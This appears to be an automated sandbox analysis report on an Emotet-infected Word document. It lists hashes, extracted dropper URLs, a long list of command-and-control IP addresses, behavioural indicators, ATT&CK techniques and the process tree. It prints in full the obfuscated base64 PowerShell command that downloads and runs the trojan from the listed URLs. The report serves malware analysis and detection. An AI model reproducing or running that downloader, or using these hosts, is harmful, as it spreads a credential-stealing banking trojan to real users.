emotet | 8dd8ad5982340b82765d71c26e6ab11b1afa10d25ac61ba165fd9c5094553b1e

Analysis

max time kernel
138s
max time network
146s
platform
windows10_x64
resource
win10v200722
submitted
15/09/2020, 06:24

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General

Target
Dok_15_092020.doc
Size 153KB
Sample200915-hcpanbteas
SHA256 8dd8ad5982340b82765d71c26e6ab11b1afa10d25ac61ba165fd9c5094553b1e
MD5 66940d7f61fcaf183f461b885cd01ebe
SHA1 146660b31e432f27643d7465c418a5d353839686
SHA512 df0e27c9f849fe190028378cc77ff337edfb46042ab3ade2409eaa1b8263a9d4172fb84962d2273196ac67105a97cd9eb51daf63ad631a9808586566c27377ab
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://intrasistemas.com/cgi-bin/mTQls3/
exe.dropper
http://gforcems.it/modules/D/
exe.dropper
http://cooltattoo.es/hatone/6YAA0O2/
exe.dropper
http://diesner.de/css/cf/
exe.dropper
http://go4it24.be/administrator/Q1r3/
exe.dropper
http://eltrafalgar.com/wp-includes/VFSi/
exe.dropper
http://infoestudio.es/cursos/qPP/

Extracted

Family

emotet

104.32.141.43:80
104.156.59.7:8080
120.138.30.150:8080
139.59.67.118:443
61.92.17.12:80
103.86.49.11:8080
174.45.13.118:80
75.139.38.211:80
104.131.11.150:443
121.124.124.40:7080
200.114.213.233:8080
185.94.252.104:443
181.169.34.190:80
187.161.206.24:80
93.147.212.206:80
176.111.60.55:8080
83.169.36.251:8080
174.102.48.180:443
24.179.13.119:80
120.150.60.189:80
107.5.122.110:80
37.187.72.193:8080
50.91.114.38:80
168.235.67.138:7080
84.39.182.7:80
219.74.18.66:443
91.211.88.52:7080
5.196.74.210:8080
24.137.76.62:80
87.106.136.232:8080
5.39.91.110:7080
104.131.44.150:8080
201.173.217.124:443
62.75.141.82:80
153.177.101.120:443
153.232.188.106:80
139.99.158.11:443
85.66.181.138:80
209.141.54.221:8080
85.152.162.105:80
82.225.49.121:80
162.241.242.173:8080
169.239.182.217:8080
1.221.254.82:80
50.35.17.13:80
78.24.219.147:8080
89.216.122.92:80
82.80.155.43:80
87.106.139.101:8080
85.214.28.226:8080
194.187.133.160:443
74.120.55.163:80
157.245.99.39:8080
74.208.45.104:8080
79.137.83.50:443
139.59.60.244:8080
95.179.229.244:8080
203.153.216.189:7080
203.117.253.142:80
172.91.208.86:80
46.105.131.79:8080
110.145.77.103:80
188.219.31.12:80
68.188.112.97:80
109.74.5.95:8080
62.30.7.67:443
137.59.187.107:8080
156.155.166.221:80
104.236.246.93:8080
94.23.216.33:80
94.23.237.171:443
95.213.236.64:8080
79.98.24.39:8080
97.82.79.83:80
47.144.21.12:443
37.139.21.175:8080
139.162.108.71:8080
12.30.50.130:80
94.200.114.161:80
78.187.156.31:80
61.19.246.238:443
85.105.205.77:8080
139.130.242.43:80
213.196.135.145:80
137.119.36.33:80
24.43.99.75:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	204	3900	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
19	204	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2212	Dkz54ymi0.exe
1044	MapConfiguration.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\iscsium\MapConfiguration.exe	Dkz54ymi0.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
728	WINWORD.EXE
728	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
204	powershell.exe
204	powershell.exe
204	powershell.exe
1044	MapConfiguration.exe
1044	MapConfiguration.exe
1044	MapConfiguration.exe
1044	MapConfiguration.exe
1044	MapConfiguration.exe
1044	MapConfiguration.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	204	powershell.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
2212	Dkz54ymi0.exe
2212	Dkz54ymi0.exe
1044	MapConfiguration.exe
1044	MapConfiguration.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 204 wrote to memory of 2212	204	powershell.exe	80
PID 204 wrote to memory of 2212	204	powershell.exe	80
PID 204 wrote to memory of 2212	204	powershell.exe	80
PID 2212 wrote to memory of 1044	2212	Dkz54ymi0.exe	82
PID 2212 wrote to memory of 1044	2212	Dkz54ymi0.exe	82
PID 2212 wrote to memory of 1044	2212	Dkz54ymi0.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Dok_15_092020.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABXADIAYwBnAHoAcABzAD0AKAAnAEEAMgAnACsAKAAnADIAcQA2AG8AJwArACcAYwAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAUgBwAFIATwBGAGkATABlAFwAVQBpADcAQwBLADkAOABcAGMAdQBZAFAAdQBYAHYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBJAHQAWQBgAFAAcgBgAE8AVABPAGAAQwBgAE8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzADEAJwArACcAMgAnACsAJwAsACAAdABsAHMAMQAxACwAJwApACsAKAAnACAAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAEgAMQAwADIAMwB2ADIAIAA9ACAAKAAnAEQAJwArACcAawAnACsAKAAnAHoANQAnACsAJwA0AHkAbQAnACsAJwBpADAAJwApACkAOwAkAEoAMAA3AHAAbwB4AGUAPQAoACgAJwBXAGEAcwAnACsAJwB2ACcAKQArACgAJwBhAG8AJwArACcAMgAnACkAKQA7ACQARQA2AHcAcgB0AHQANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAHoARgBmACcAKwAnAFUAaQAnACkAKwAnADcAJwArACcAYwAnACsAKAAnAGsAOQA4AHoARgAnACsAJwBmAEMAJwArACcAdQB5ACcAKQArACcAcAB1ACcAKwAoACcAeAAnACsAJwB2AHoARgBmACcAKQApAC4AIgBSAEUAcABMAGAAQQBjAGUAIgAoACgAWwBDAGgAQQByAF0AMQAyADIAKwBbAEMAaABBAHIAXQA3ADAAKwBbAEMAaABBAHIAXQAxADAAMgApACwAJwBcACcAKQApACsAJABIADEAMAAyADMAdgAyACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABCAHUAaABxADAAMgByAD0AKAAnAEgAawAnACsAKAAnADAAMwB2AGcAJwArACcAcAAnACkAKQA7ACQAQwB3AG8AagBhAGwANwA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AGUAYgBjAEwASQBFAG4AdAA7ACQAQQA3AHoAYQBmADUAZQA9ACgAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAnACsAJwAvAGkAbgB0AHIAYQBzACcAKQArACgAJwBpAHMAdAAnACsAJwBlACcAKQArACgAJwBtAGEAJwArACcAcwAnACkAKwAoACcALgBjAG8AbQAvACcAKwAnAGMAJwApACsAJwBnACcAKwAoACcAaQAtAGIAJwArACcAaQAnACkAKwAnAG4AJwArACgAJwAvACcAKwAnAG0AVABRAGwAJwApACsAKAAnAHMAMwAvACcAKwAnACoAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwA6AC8ALwBnAGYAbwAnACkAKwAoACcAcgBjAGUAJwArACcAbQBzACcAKQArACcALgAnACsAKAAnAGkAJwArACcAdAAvACcAKQArACcAbQAnACsAJwBvACcAKwAnAGQAdQAnACsAKAAnAGwAZQAnACsAJwBzACcAKQArACgAJwAvAEQAJwArACcALwAnACkAKwAnACoAJwArACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAoACcALwAnACsAJwBjAG8AbwAnACkAKwAoACcAbAAnACsAJwB0AGEAdAB0AG8AbwAnACkAKwAnAC4AJwArACgAJwBlAHMALwBoACcAKwAnAGEAJwArACcAdABvAG4AZQAnACkAKwAoACcALwA2ACcAKwAnAFkAQQAnACkAKwAoACcAQQAwACcAKwAnAE8AMgAvACoAaAAnACsAJwB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvAC8AZAAnACsAJwBpAGUAJwArACcAcwAnACkAKwAnAG4AZQAnACsAKAAnAHIAJwArACcALgBkAGUALwAnACkAKwAoACcAYwBzAHMALwBjACcAKwAnAGYAJwApACsAJwAvACcAKwAoACcAKgBoAHQAJwArACcAdAAnACkAKwAnAHAAJwArACgAJwA6AC8AJwArACcALwBnAG8ANAAnACkAKwAoACcAaQB0ADIANAAnACsAJwAuAGIAJwArACcAZQAvACcAKQArACgAJwBhAGQAbQAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGkAJwArACcAcwB0AHIAYQAnACsAJwB0AG8AcgAvAFEAJwArACcAMQAnACkAKwAnAHIAJwArACgAJwAzAC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAvAGUAJwApACsAJwBsACcAKwAnAHQAJwArACgAJwByAGEAJwArACcAZgBhAGwAJwArACcAZwAnACsAJwBhAHIALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAALQAnACsAJwBpAG4AJwArACcAYwBsAHUAZABlAHMALwAnACsAJwBWAEYAJwArACcAUwBpACcAKQArACgAJwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGkAJwArACcAbgAnACkAKwAoACcAZgAnACsAJwBvAGUAJwApACsAKAAnAHMAdAB1AGQAJwArACcAaQAnACkAKwAnAG8ALgAnACsAJwBlACcAKwAoACcAcwAvACcAKwAnAGMAdQByACcAKQArACgAJwBzAG8AcwAvAHEAJwArACcAUABQAC8AJwApACkALgAiAHMAYABwAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgA4AGMAdAB3AHcAbQA9ACgAKAAnAEkAJwArACcAbABzAGMAbgAnACkAKwAnAHUAagAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABMADcAMAByAGIAegAyACAAaQBuACAAJABBADcAegBhAGYANQBlACkAewB0AHIAeQB7ACQAQwB3AG8AagBhAGwANwAuACIARABPAHcAbgBgAGwAbwBhAGQAYABGAGAAaQBMAGUAIgAoACQATAA3ADAAcgBiAHoAMgAsACAAJABFADYAdwByAHQAdAA2ACkAOwAkAEMAbwB3ADQAYgBzADUAPQAoACcATQBlACcAKwAoACcAZgBkACcAKwAnAHoAJwApACsAJwBtADAAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEUANgB3AHIAdAB0ADYAKQAuACIATABgAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMwA5ADEAMQApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACgAJABFADYAdwByAHQAdAA2ACkAOwAkAFIAbgBlAGwAaAA1AHIAPQAoACcAQwAnACsAJwBmACcAKwAoACcAeQBpACcAKwAnAHAAbwAxACcAKQApADsAYgByAGUAYQBrADsAJABSAHoAaAB2AHcAMwAxAD0AKAAoACcATABiACcAKwAnAHIAcQBpACcAKQArACcAcABfACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQByAHoAaABmADAANwA9ACgAJwBFAHYAJwArACgAJwA5ACcAKwAnAG0AZwBvACcAKQArACcAYwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:204
- C:\Users\Admin\Ui7ck98\Cuypuxv\Dkz54ymi0.exe
  "C:\Users\Admin\Ui7ck98\Cuypuxv\Dkz54ymi0.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\SysWOW64\iscsium\MapConfiguration.exe
    "C:\Windows\SysWOW64\iscsium\MapConfiguration.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1044

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/204-10-0x0000026BE6C70000-0x0000026BE6C71000-memory.dmp

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memory/204-9-0x00007FFFEF710000-0x00007FFFF00FC000-memory.dmp

Download

memory/204-11-0x0000026BFEEA0000-0x0000026BFEEA1000-memory.dmp

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memory/728-4-0x00000206DECB4000-0x00000206DECC0000-memory.dmp

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memory/728-7-0x00000206DECAC000-0x00000206DECC0000-memory.dmp

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memory/728-8-0x00000206DECB4000-0x00000206DECC0000-memory.dmp

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memory/728-0-0x00007FFFF6ED0000-0x00007FFFF7596000-memory.dmp

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memory/728-6-0x00000206DECAC000-0x00000206DECC0000-memory.dmp

Download

memory/728-5-0x00000206DE9A0000-0x00000206DE9A5000-memory.dmp

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memory/728-3-0x00000206DECAC000-0x00000206DECC0000-memory.dmp

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memory/1044-20-0x0000000002690000-0x00000000026A0000-memory.dmp

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memory/1044-19-0x0000000002670000-0x0000000002682000-memory.dmp

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memory/2212-16-0x0000000000770000-0x0000000000780000-memory.dmp

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memory/2212-15-0x0000000000750000-0x0000000000762000-memory.dmp

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